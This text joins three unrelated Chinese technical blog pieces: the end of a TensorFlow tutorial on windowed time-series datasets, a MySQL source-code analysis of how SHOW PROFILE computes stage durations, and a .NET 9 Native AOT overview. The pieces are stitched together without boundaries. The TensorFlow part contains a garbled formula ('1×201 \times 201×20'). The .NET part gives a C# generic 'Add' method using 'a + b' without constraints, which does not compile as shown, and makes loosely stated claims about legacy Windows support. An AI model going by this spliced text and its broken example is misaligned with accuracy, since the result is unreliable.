现在需要记住的重要一点是,你的数据是一个 tf.data.Dataset,因此可以很方便地作为单个参数传递给 model.fit,而 tf.keras 会处理其余部分。

如果你想查看数据的具体样子,可以使用如下代码:

dataset = windowed_dataset(series, window_size, 1, shuffle_buffer_size)

for feature, label in dataset.take(1):

print(feature)

print(label)

这里的 batch_size 被设置为 1,是为了让结果更加易读。运行后,你会得到类似以下的输出,其中一组数据位于批次中:

tf.Tensor(

[[75.38214 66.902626 76.656364 71.96795 71.373764 76.881065

75.62607 71.67851 79.358665 68.235466 76.79933 76.764114

72.32991 75.58744 67.780426 78.73544 73.270195 71.66057

79.59881 70.9117 ]],

shape=(1, 20), dtype=float32)

tf.Tensor([67.47085], shape=(1,), dtype=float32)

第一批数字是特征。我们将窗口大小设置为 20,所以它是一个 1×201 \times 201×20 的张量。第二个数字是标签(在本例中为 67.47085),模型将尝试用这些特征来拟合这个标签。你将在下一节看到模型是如何工作的。

总结:
本篇跟大家一起为模型准备了两种数据集:一种是窗口化数据集,另一种是结合时间序列特性生成的训练数据集,为完成整个模型的研发工作做足准备工作。

背景

最近碰到一个 case,通过可传输表空间的方式导入一个 4GB 大小的表,耗时 13 分钟。

通过
PROFILE
定位,发现大部分耗时竟然是在
System lock
阶段。

mysql> set profiling=1;
Query OK, 0 rows affected, 1 warning (0.00 sec)

mysql> alter table sbtest2 import tablespace;
Query OK, 0 rows affected (13 min 8.99 sec)

mysql> show profile for query 1;
+--------------------------------+------------+
| Status                         | Duration   |
+--------------------------------+------------+
| starting                       |   0.000119 |
| Executing hook on transaction  |   0.000004 |
| starting                       |   0.000055 |
| checking permissions           |   0.000010 |
| discard_or_import_tablespace   |   0.000007 |
| Opening tables                 |   0.000156 |
| System lock                    | 788.966338 |
| end                            |   0.007391 |
| waiting for handler commit     |   0.000041 |
| waiting for handler commit     |   0.011179 |
| query end                      |   0.000022 |
| closing tables                 |   0.000019 |
| waiting for handler commit     |   0.000031 |
| freeing items                  |   0.000035 |
| cleaning up                    |   0.000043 |
+--------------------------------+------------+
15 rows in set, 1 warning (0.03 sec)

不仅如此,SQL 在执行的过程中,
show processlist
中的状态显示的也是
System lock

mysql> show processlist;
+----+-----------------+-----------+--------+---------+------+------------------------+---------------------------------------+
| Id | User            | Host      | db     | Command | Time | State                  | Info                                  |
+----+-----------------+-----------+--------+---------+------+------------------------+---------------------------------------+
|  5 | event_scheduler | localhost | NULL   | Daemon  |  818 | Waiting on empty queue | NULL                                  |
| 10 | root            | localhost | sbtest | Query   |  648 | System lock            | alter table sbtest2 import tablespace |
| 14 | root            | localhost | NULL   | Query   |    0 | init                   | show processlist                      |
+----+-----------------+-----------+--------+---------+------+------------------------+---------------------------------------+
3 rows in set, 1 warning (0.00 sec)

这个状态其实有很大的误导性。

接下来我们从
SHOW PROFILE
的基本用法出发,从源码角度分析它的实现原理。

最后在分析的基础上,看看 case 中的表空间导入操作为什么大部分耗时是在
System lock
阶段。

SHOW PROFILE 的基本用法

下面通过一个示例来看看
SHOW PROFILE
的用法。

# 开启 Profiling
mysql> set profiling=1;
Query OK, 0 rows affected, 1 warning (0.00 sec)

# 执行需要分析的 SQL
mysql> select count(*) from slowtech.t1;
+----------+
| count(*) |
+----------+
|  1048576 |
+----------+
1 row in set (1.09 sec)

# 通过 show profiles 查看 SQL 对应的 Query_ID
mysql> show profiles;
+----------+------------+----------------------------------+
| Query_ID | Duration   | Query                            |
+----------+------------+----------------------------------+
|        1 | 1.09378600 | select count(*) from slowtech.t1 |
+----------+------------+----------------------------------+
1 row in set, 1 warning (0.00 sec)

# 查看该 SQL 各个阶段的执行耗时情况,其中,1 是该 SQL 对应的 Query_ID
mysql> show profile for query 1;
+--------------------------------+----------+
| Status                         | Duration |
+--------------------------------+----------+
| starting                       | 0.000157 |
| Executing hook on transaction  | 0.000009 |
| starting                       | 0.000020 |
| checking permissions           | 0.000012 |
| Opening tables                 | 0.000076 |
| init                           | 0.000011 |
| System lock                    | 0.000026 |
| optimizing                     | 0.000013 |
| statistics                     | 0.000033 |
| preparing                      | 0.000032 |
| executing                      | 1.093124 |
| end                            | 0.000025 |
| query end                      | 0.000013 |
| waiting for handler commit     | 0.000078 |
| closing tables                 | 0.000048 |
| freeing items                  | 0.000076 |
| cleaning up                    | 0.000037 |
+--------------------------------+----------+
17 rows in set, 1 warning (0.01 sec)

如果指定 all 还会输出更详细的统计信息,包括 CPU、上下文切换、磁盘IO、IPC(进程间通信)发送/接受的消息数量、页面故障次数、交换次数等。

需要注意的是,这里的统计信息是针对整个进程的,不是单个 SQL 的。如果在执行上述 SQL 的同时还有其它 SQL 在执行,那么这些数据就不能用来评估该 SQL 的资源使用情况。

mysql> show profile all for query 1\G
...
*************************** 11. row ***************************
             Status: executing
           Duration: 0.825417
           CPU_user: 1.486951
         CPU_system: 0.007982
  Context_voluntary: 0
Context_involuntary: 553
       Block_ops_in: 0
      Block_ops_out: 0
      Messages_sent: 0
  Messages_received: 0
  Page_faults_major: 0
  Page_faults_minor: 24
              Swaps: 0
    Source_function: ExecuteIteratorQuery
        Source_file: sql_union.cc
        Source_line: 1678
...
17 rows in set, 1 warning (0.00 sec)

SHOW PROFILE 的实现原理

SHOW PROFILE 主要是在
sql_profile.cc
中实现的。它的实现主要分为两部分:

  1. 数据的采集。
  2. 数据的计算。

下面我们分别从这两个维度来看看 SHOW PROFILE 的实现原理。

数据的采集

数据的采集实际上是通过“埋点”实现的。不同阶段对应的“埋点”地址可通过
show profile source
查看。

mysql> show profile source for query 1;
+--------------------------------+----------+-------------------------+----------------------+-------------+
| Status                         | Duration | Source_function         | Source_file          | Source_line |
+--------------------------------+----------+-------------------------+----------------------+-------------+
| starting                       | 0.000157 | NULL                    | NULL                 |        NULL |
| Executing hook on transaction  | 0.000009 | launch_hook_trans_begin | rpl_handler.cc       |        1484 |
| starting                       | 0.000020 | launch_hook_trans_begin | rpl_handler.cc       |        1486 |
| checking permissions           | 0.000012 | check_access            | sql_authorization.cc |        2173 |
| Opening tables                 | 0.000076 | open_tables             | sql_base.cc          |        5911 |
| init                           | 0.000011 | execute                 | sql_select.cc        |         760 |
| System lock                    | 0.000026 | mysql_lock_tables       | lock.cc              |         332 |
| optimizing                     | 0.000013 | optimize                | sql_optimizer.cc     |         379 |
| statistics                     | 0.000033 | optimize                | sql_optimizer.cc     |         721 |
| preparing                      | 0.000032 | optimize                | sql_optimizer.cc     |         806 |
| executing                      | 1.093124 | ExecuteIteratorQuery    | sql_union.cc         |        1677 |
| end                            | 0.000025 | execute                 | sql_select.cc        |         796 |
| query end                      | 0.000013 | mysql_execute_command   | sql_parse.cc         |        4896 |
| waiting for handler commit     | 0.000078 | ha_commit_trans         | handler.cc           |        1636 |
| closing tables                 | 0.000048 | mysql_execute_command   | sql_parse.cc         |        4960 |
| freeing items                  | 0.000076 | dispatch_sql_command    | sql_parse.cc         |        5434 |
| cleaning up                    | 0.000037 | dispatch_command        | sql_parse.cc         |        2478 |
+--------------------------------+----------+-------------------------+----------------------+-------------+
17 rows in set, 1 warning (0.00 sec)


executing
为例,它对应的“埋点”地址是
sql_union.cc
文件的第 1677 行,该行对应的代码是:

  THD_STAGE_INFO(thd, stage_executing);

其它的“埋点”地址也类似,调用的都是
THD_STAGE_INFO
,唯一不一样的是 stage 的名称。

THD_STAGE_INFO 主要会做两件事情:

  1. 采集数据。
  2. 将采集到的数据添加到队列中。

下面我们结合代码看看具体的实现细节。

void QUERY_PROFILE::new_status(const char *status_arg, const char *function_arg,
                               const char *file_arg, unsigned int line_arg) {
  PROF_MEASUREMENT *prof;
  ...
  // 初始化 PROF_MEASUREMENT,初始化的过程中会采集数据。
  if ((function_arg != nullptr) && (file_arg != nullptr))
    prof = new PROF_MEASUREMENT(this, status_arg, function_arg,
                                base_name(file_arg), line_arg);
  else
    prof = new PROF_MEASUREMENT(this, status_arg);
  // m_seq 是阶段的序号,对应 information_schema.profiling 中的 SEQ。
  prof->m_seq = m_seq_counter++; 
  // time_usecs 是采集到的系统当前时间。
  m_end_time_usecs = prof->time_usecs; 
  // 将采集到的数据添加到队列中,这个队列在查询时会用到。
  entries.push_back(prof); 
  ...
}

继续分析
PROF_MEASUREMENT
的初始化逻辑。

PROF_MEASUREMENT::PROF_MEASUREMENT(QUERY_PROFILE *profile_arg,
                                   const char *status_arg,
                                   const char *function_arg,
                                   const char *file_arg, unsigned int line_arg)
    : profile(profile_arg) {
  collect();
  set_label(status_arg, function_arg, file_arg, line_arg);
}

void PROF_MEASUREMENT::collect() {
  time_usecs = (double)my_getsystime() / 10.0; /* 1 sec was 1e7, now is 1e6 */
#ifdef HAVE_GETRUSAGE
  getrusage(RUSAGE_SELF, &rusage);
#elif defined(_WIN32)
  ...
#endif
}

PROF_MEASUREMENT 在初始化时会调用
collect
函数,
collect()
函数非常关键,它会做两件事情:

  1. 通过
    my_getsystime()
    获取系统的当前时间。

  2. 通过
    getrusage(RUSAGE_SELF, &rusage)
    获取当前进程(注意是进程,不是当前 SQL)的资源使用情况。

    getrusage
    是一个用于获取进程或线程资源使用情况的系统调用。它返回进程在执行期间所消耗的资源信息,包括 CPU 时间、内存使用、页面故障、上下文切换等信息。

PROF_MEASUREMENT 初始化完毕后,会将其添加到 entries 中。entries 是一个队列(
Queue<PROF_MEASUREMENT> entries
)。这个队列,会在执行
show profile for query N
或者
information_schema.profiling
时用到。

说完数据的采集,接下来我们看看数据的计算,毕竟“埋点”收集的只是系统当前时间,而我们在
show profile for query N
中看到的Duration 是一个时长。

数据的计算

当我们在执行
show profile for query N
时,实际上查询的是
information_schema.profiling
,此时,会调用
PROFILING::fill_statistics_info
来填充数据。

下面我们看看该函数的实现逻辑。

int PROFILING::fill_statistics_info(THD *thd_arg, Table_ref *tables) {
  DBUG_TRACE;
  TABLE *table = tables->table;
  ulonglong row_number = 0;

  QUERY_PROFILE *query;
  // 循环 history 队列,队列中的元素是 QUERY_PROFILE,每一个查询对应一个 QUERY_PROFILE。
  // 队列的大小由参数 profiling_history_size 决定,默认是 15。
  void *history_iterator;
  for (history_iterator = history.new_iterator(); history_iterator != nullptr;
       history_iterator = history.iterator_next(history_iterator)) {
    query = history.iterator_value(history_iterator);

    ulong seq;

    void *entry_iterator;
    PROF_MEASUREMENT *entry, *previous = nullptr;
    // 循环每个查询中的 entries,entries 存储了每个阶段的系统当前时间。
    for (entry_iterator = query->entries.new_iterator();
         entry_iterator != nullptr;
         entry_iterator = query->entries.iterator_next(entry_iterator),
        previous = entry, row_number++) {
      entry = query->entries.iterator_value(entry_iterator);
      seq = entry->m_seq;

      if (previous == nullptr) continue;

      if (thd_arg->lex->sql_command == SQLCOM_SHOW_PROFILE) {
        if (thd_arg->lex->show_profile_query_id ==
            0) /* 0 == show final query */
        {
          if (query != last) continue;
        } else {
          // 如果记录中的 Query_ID 跟 show profile for query query_id 中的不一致,则继续判断下一条记录
          if (thd_arg->lex->show_profile_query_id != query->profiling_query_id) 
            continue;
        }
      }

      restore_record(table, s->default_values);
      // query->profiling_query_id 用来填充 information_schema.profiling 中的 QUERY_ID
      table->field[0]->store((ulonglong)query->profiling_query_id, true);
      // seq 用来填充 information_schema.profiling 中的 SEQ
      table->field[1]->store((ulonglong)seq,
                             true); 
      // status 用来填充 information_schema.profiling 中的 STATE
      // 注意,这里是上一条记录的 status,不是当前记录的 status
      table->field[2]->store(previous->status, strlen(previous->status),
                             system_charset_info);
      // 当前记录的 time_usecs 减去上一条记录的 time_usecs 的值,换算成秒,用来填充 information_schema.profiling 中的 DURATION
      my_decimal duration_decimal;
      double2my_decimal(
          E_DEC_FATAL_ERROR,
          (entry->time_usecs - previous->time_usecs) / (1000.0 * 1000),
          &duration_decimal); 

      table->field[3]->store_decimal(&duration_decimal);
#ifdef HAVE_GETRUSAGE
      my_decimal cpu_utime_decimal, cpu_stime_decimal;
      // 当前记录的 ru_utime 减去上一条记录的 ru_utime,用来填充 information_schema.profiling 中的 CPU_USER
      double2my_decimal(
          E_DEC_FATAL_ERROR,
          RUSAGE_DIFF_USEC(entry->rusage.ru_utime, previous->rusage.ru_utime) /
              (1000.0 * 1000),
          &cpu_utime_decimal);
      ...
      table->field[4]->store_decimal(&cpu_utime_decimal);
...

  return 0;
}

可以看到,
information_schema.profiling
中的第三列(STATE,对应
show profile for query N
中的 Status)存储的是上一条记录的 status(阶段名),而第四列(DURATION)的值等于当前记录的采集时间(entry->time_usecs)减去上一条记录的采集时间(previous->time_usecs)。

所以,我们在
show profile for query N
中看到的 Duration 实际上通过下一个阶段的采集时间减去当前阶段的采集时间得到的,并不是
show profile source
中函数(Source_function)的执行时长。

这种实现方式在判断操作当前状态和分析各个阶段耗时时存在一定的误导性。

回到开头的 case。

表空间导入操作为什么大部分耗时是在 System lock 阶段?

表空间导入操作是在
mysql_discard_or_import_tablespace
函数中实现的。

下面是该函数简化后的代码。

bool Sql_cmd_discard_import_tablespace::mysql_discard_or_import_tablespace(
    THD *thd, Table_ref *table_list) {
  ... 
  THD_STAGE_INFO(thd, stage_discard_or_import_tablespace);
  ...
  if (open_and_lock_tables(thd, table_list, 0, &alter_prelocking_strategy)) {
    return true;
  }
  ...
  const bool discard =
      (m_alter_info->flags & Alter_info::ALTER_DISCARD_TABLESPACE);
  error = table_list->table->file->ha_discard_or_import_tablespace(discard,
                                                                   table_def); 
  THD_STAGE_INFO(thd, stage_end);
  ...
  return true;
}

可以看到,该函数实际调用的是 THD_STAGE_INFO(thd, stage_discard_or_import_tablespace)。

只不过,在调用 THD_STAGE_INFO(thd, stage_discard_or_import_tablespace) 后,调用了 open_and_lock_tables。

而 open_and_lock_tables 最后会调用 THD_STAGE_INFO(thd, stage_system_lock)。

这也就是为什么上述函数中虽然调用了 THD_STAGE_INFO(thd, stage_discard_or_import_tablespace),但
show profile

show processlist
的输出中却显示
System lock

但基于对耗时的分析,我们发现这么显示其实并不合理。

在开头的 case 中,虽然
System lock
阶段显示的耗时是 788.966338 秒,但实际上
open_and_lock_tables
这个函数只消耗了 0.000179 秒,真正的耗时是来自
table_list->table->file->ha_discard_or_import_tablespace
,其执行时间长达 788.965481 秒。

为什么这个函数需要执行这么久呢?主要是表空间在导入的过程中会检查并更新表空间中的每个页,包括验证页是否损坏、更新表空间 ID 和 LSN、处理 Btree 页(如设置索引 ID、清除 delete marked 记录等)、将页标记为脏页等。表越大,检查校验的时候会越久。

如此来看,针对表空间导入操作,将其状态显示为
discard_or_import_tablespace
更能反映操作的真实情况。

总结


  1. SHOW PROFILE
    中显示的每个阶段的耗时,实际上是由下一个阶段的采集时间减去当前阶段的采集时间得出的。

    每个阶段的采集时间是通过在代码的不同路径中植入
    THD_STAGE_INFO(thd, stage_xxx)
    实现的,采集的是系统当前时间。

  2. 这种实现方式在判断操作当前状态(通过 SHOW PROCESSLIST)和分析各个阶段耗时(通过 SHOW PROFILE )时存在一定的误导性,主要是因为预定义的阶段数量是有限的。

    在 MySQL 8.4 中,共定义了 98 个阶段,具体的阶段名可在
    mysqld.cc
    中的
    all_server_stages
    数组找到。

  3. 在表空间导入操作中,虽然大部分耗时显示为
    System lock
    阶段,但实际上,使用
    discard_or_import_tablespace
    来描述这一过程会更为准确。

参考资料

  1. https://dev.mysql.com/doc/refman/8.4/en/show-profile.html
  2. https://dev.mysql.com/doc/refman/8.4/en/performance-schema-query-profiling.html
  3. https://dev.mysql.com/worklog/task/?id=5522

上一篇文章给大家介绍了

.NET 9 New features-JSON序列化

本篇文章,研究分享一下关于AOT方面的改进

1. 什么是AOT

AOT(Ahead-of-Time)编译是一种在应用程序部署之前,将高级语言代码直接编译为本机机器代码的技术。

与传统的即时编译(Just-In-Time,JIT)不同,AOT 在应用程序运行之前完成编译过程,生成独立的可执行文件。这意味着应用程序在运行时无需依赖运行时环境进行代码转换,从而减少启动时间和运行时开销。

2. 为什么有AOT

AOT 的出现主要是为了解决以下问题:

  • 启动性能
    :由于应用程序已被编译为本机代码,AOT 消除了运行时编译的需求,从而显著减少应用程序的启动时间。

  • 运行时性能
    :通过提前编译,AOT 可以进行更深层次的优化,提高代码执行效率。

  • 平台兼容性
    :在某些不允许 JIT 编译的受限平台上,AOT 是唯一可行的解决方案。

  • 部署简化
    :AOT 生成的可执行文件不依赖于外部运行时,简化了部署过程,特别是在无法确保目标环境安装了特定运行时的情况下。

3. AOT能解决什么问题

AOT 编译可以有效解决以下问题:

  • 提高启动速度
    :由于无需在运行时进行编译,应用程序可以更快速地启动,提升用户体验。

  • 降低内存占用
    :AOT 编译的应用程序通常具有更小的内存占用,因为不需要加载完整的运行时环境。

  • 增强安全性
    :通过消除运行时编译,减少了潜在的攻击面,提高了应用程序的安全性。

  • 支持老旧系统
    :.NET 9 的 AOT 编译器支持在 Windows 7 和 Windows XP 等老旧系统上运行,拓展了应用程序的适用范围。

4. 如何使用AOT

在 .NET 9 中,使用 AOT 编译应用程序的步骤如下:

  • 安装必要工具
    :确保已安装 .NET 9 SDK 和 Visual Studio 2022 预览版,并选择安装“使用 C++ 的桌面开发”和“.NET 桌面开发”工作负载。

  • 创建 AOT 项目
    :使用命令行创建新的 AOT 项目,例如:


    dotnet new webapiaot -o MyFirstAotWebApi
  • 配置项目文件
    :在项目文件(.csproj)中,添加以下属性以启用 AOT 编译:


    <
    PublishAot>true
    </
    PublishAot>
  • 发布应用程序
    :使用以下命令发布 AOT 编译的应用程序:


    dotnet publish -c Release
  • 运行可执行文件
    :在发布目录中,找到生成的可执行文件,直接运行即可。

这里有一篇文章,专门介绍
ASP.NET Core support for Native AOT

其中。解释了一下ASP.NET Core为什么使用AOT,

使用 Native AOT 发布和部署应用程序具有以下优势:

  1. 最小化磁盘占用

    使用 Native AOT 发布时,会生成一个包含仅支持程序所需的外部依赖代码的单个可执行文件。减少的可执行文件大小带来的好处包括:


    1. 更小的容器镜像,例如在容器化部署场景中。
    2. 更快的部署时间,因为镜像体积较小。
  2. 减少启动时间

    Native AOT 应用程序启动时间较短,这意味着:


    1. 应用程序能够更快地准备好处理请求。
    2. 在需要从一个版本的应用迁移到另一个版本时,对容器编排器的部署表现更优。
  3. 降低内存需求

    Native AOT 应用程序的内存需求可能会降低,具体取决于应用程序的工作内容。较低的内存消耗可以带来:


    1. 更高的部署密度。
    2. 提升的可扩展性。

5. .NET 9 AOT的改进

  • 支持老旧系统:AOT 编译器现在支持在 Windows 7 和 Windows XP 等老旧系统上运行,拓展了应用程序的适用范围。
  • 性能提升:通过优化编译过程,AOT 编译后的应用程序在启动时间和执行效率方面都有显著提升。
  • 更广泛的平台支持:.NET 9 的 AOT 编译器扩展了对多种平台的支持,包括最新的 iOS、macOS 和 Android 操作系统。
  • 内联改进:在 .NET 9 中,AOT 编译器对线程本地静态数据的访问进行了内联优化,减少了指令数,提高了性能。
  • PGO 改进:动态按配置优化(PGO)在 .NET 9 中得到了扩展,能够分析更多代码模式,提高类型检查和强制转换的性能。

然后,什么是内联改进?

内联
是指编译器在调用函数时,将被调用的函数代码直接插入到调用点,从而减少函数调用的开销,提升执行效率。在 .NET 9 中,内联机制得到了增强,特别是在共享泛型和运行时查找方面。

示例说明:
public T
Add<
T>(
T a, T b) {
return a + b; }

在之前的版本中,由于泛型方法的多态性,编译器可能无法有效地将其内联。而在 .NET 9 中,内联机制的改进使得即使是共享的泛型方法,也能在特定情况下被内联,从而减少运行时查找,提高性能。

然后,PGO改进有哪些?

按配置优化(Profile-Guided Optimization,PGO)是一种利用应用程序运行时的实际性能数据来指导编译器优化代码的技术。

.NET 8 默认启用了
动态按配置优化 (PGO)
。 NET 9 扩展了 64 位 JIT 编译器的 PGO 实现,以分析更多代码模式。 启用分层编译后,64 位 JIT 编译器已将检测插入到你的程序中以分析其行为。 当它通过优化重新编译时,编译器会利用它在运行时构建的配置文件来做出特定于程序当前运行的决策。 在 .NET 9 中,64 位 JIT 编译器使用 PGO 数据来提高类型检查的性能。

以上是关于.NET AOT的研究分享。

周国庆

2024/12/23